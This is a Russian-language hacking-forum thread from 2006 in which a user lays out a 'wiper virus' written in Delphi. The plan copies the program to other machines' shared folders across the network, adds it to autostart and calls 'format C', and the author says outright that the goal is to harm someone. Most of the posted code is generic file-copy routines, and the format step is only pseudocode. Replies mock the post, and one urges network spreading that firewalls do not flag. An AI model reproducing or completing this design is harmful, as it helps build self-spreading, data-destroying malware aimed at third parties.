Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Создание вируса-стирателя |

29.06.2006, 13:49
|
|
Новичок
Регистрация: 28.06.2006
Сообщений: 7
Провел на форуме: 24492
Репутация:
2
|
|
Создание вируса-стирателя
мы хотим к примеру нагадить кому нибудь. в том примере чо я щас опишу такая штучка- после использования диск С (или D или еще какой-нить, короче зависит от желания) форматится. А все это очень просто. Так как я все это проделывал на Delphi, то вам просто расскажу идею, а сами вы уже будете писать где вам удобнее.
1. ставим размножение - copy туды-сюды, сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.
2. Ставим копирование ярлыка этой штучки в автозагрузку (Пуск-Автозагрузка-Стандартные; C:\Documents and Settings\Mrak\Главное меню\Программы\Автозагрузк а)
3. Прописываем в проге вызов cmd (Run-cmd) и заставляем прописывать format C (или D). "Размножение" выглядит примерно так:
(в Delphi)
function CopyFile(lpExistingFileName, lpNewFileName: PChar;
bFailIfExists: BOOL): BOOL; stdcall;
if CopyFile(PChar(SourcePath), PChar(TargetPath), False) then
// Выполнилась успешно.
else
//там где lpExistingFileName - это значит как называется файл который копируем (E:\Delphi\FormatC)
lpNewFileName-это новое название
то же делаем с ярлыком на автозагрузку
Это был 1-ый способ размножения. есть еще:
2)procedure CopyFile(Source, Dest: string);
var
SrcFile: Integer;
DestFile: Integer;
S: string;
RetCode: Longint;
OpenFileBuf: TOFStruct;
FName: array[0..255] of Char;
begin
StrPCopy(FName, Source);
SrcFile := LZOpenFile(FName, OpenFileBuf, of_Read);
StrPCopy(FName, Dest);
DestFile := LZOpenFile(FName, OpenFileBuf, of_Create);
RetCode := LZCopy(SrcFile, DestFile);
if RetCode >= 0 then
begin
LZClose(SrcFile);
LZClose(DestFile);
end
else
begin
Str(RetCode, S);
MessageDlg('Не могу скопировать ' + Source + ' в ' +
Dest + #13 + 'Код ошибки = ' + S, mtError, [mbOk], 0);
end;
end
3) Копирование методом TurboPascal
type
{Для индикации процесса копирования}
TCallBack = procedure (Position, Size: Longint);
procedure FastFileCopy(const InfileName, OutFileName: string;
CallBack: TCallBack);
const
BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
type
PBuffer = ^TBuffer;
TBuffer = array [1..BufSize] of Byte;
var
Size : integer;
Buffer : PBuffer;
infile, outfile : file;
SizeDone, SizeFile: Longint;
begin
if (InFileName <> OutFileName) then
begin
buffer := nil;
AssignFile(infile, InFileName);
System.Reset(infile, 1);
try
SizeFile := FileSize(infile);
AssignFile(outfile, OutFileName);
System.Rewrite(outfile, 1);
try
SizeDone := 0; New(Buffer);
repeat
BlockRead(infile, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until
Size < BufSize;
FileSetDate(TFileRec(outfile).Handle,
FileGetDate(TFileRec(infile).Handle));
finally
if Buffer <> nil then
Dispose(Buffer);
System.close(outfile)
end;
finally
System.close(infile);
end;
end
else
raise EInOutError.Create('File cannot be copied into itself');
end;
4) Копирование методом потока
procedure FileCopy(const SourceFileName, TargetFileName: string);
var
S, T : TFileStream;
begin
S := TFileStream.Create(sourcefilename, fmOpenRead );
try
T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
try
T.CopyFrom(S, S.Size ) ;
FileSetDate(T.Handle, FileGetDate(S.Handle));
finally
T.Free;
end;
finally
S.Free;
end;
end;
4) Копирование методом LZExpand
uses
LZExpand;
procedure CopyFile(FromFileName, ToFileName : string);
var
FromFile, ToFile: file;
begin
AssignFile(FromFile, FromFileName);
AssignFile(ToFile, ToFileName);
Reset(FromFile);
try
Rewrite(ToFile);
try
if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then
raise Exception.Create('Error using LZCopy')
finally
CloseFile(ToFile);
end;
finally
CloseFile(FromFile);
end;
end;
5) Копирование методами Windows
uses
// !!! важно
ShellApi;
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
// пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then
ShowMessage('Copy Failed');
end;
6) Файлы с каталогами
procedure TForm1.Button1Click(Sender: TObject);
var
OpStruc: TSHFileOpStruct;
frombuf, tobuf: array [0..128] of Char;
begin
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, 'c:\1\*.*' );
StrPCopy( tobuf, 'c:\2' );
with OpStruc do
begin
Wnd:= Handle;
wFunc:= FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:= False;
hNameMappings:= nil;
lpszProgressTitle:= nil;
end;
ShFileOperation( OpStruc );
end;
Думаю достаточно.
Процедура запуска программ - begin
Run - command cmd;
write format C;
end;
end.
|
|
|

29.06.2006, 14:26
|
|
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме: 9751364
Репутация:
1847
|
|
это не вирус.
|
|
|

30.06.2006, 10:03
|
|
Новичок
Регистрация: 28.06.2006
Сообщений: 7
Провел на форуме: 24492
Репутация:
2
|
|
tclover
Это Гадящая программа! тем лучше что это не подпадает под строку вирусов- ведь его не засечет никакой антивирус!!!!!!!! подумай умом, ведь что мы называем вирусом? программу заражающую компьютер и наносящая ему или данным вред!
|
|
|

30.06.2006, 12:58
|
|
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме: 9751364
Репутация:
1847
|
|
ни за что.
ведь что мы называем вирусом?
- Не мы, а Вы. (с)
|
|
|

06.07.2006, 03:29
|
|
Новичок
Регистрация: 07.03.2006
Сообщений: 17
Провел на форуме: 157687
Репутация:
0
|
|
>>ставим размножение - сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.
дык это и напиши, и чтоб фаеры не гавкали.....
Последний раз редактировалось Alamar; 06.07.2006 в 03:44..
|
|
|

06.07.2006, 05:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
Мдя... ты хотя бы copyright оставил! Начал смотреть... Геморрой! Зачем заюзал LZ?! АА потом вспомнил DelphiWorld!
Думаю достаточно.
Процедура запуска программ -
begin
Run - command cmd; //объясни что это?!?!
write format C;
end;
end.
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|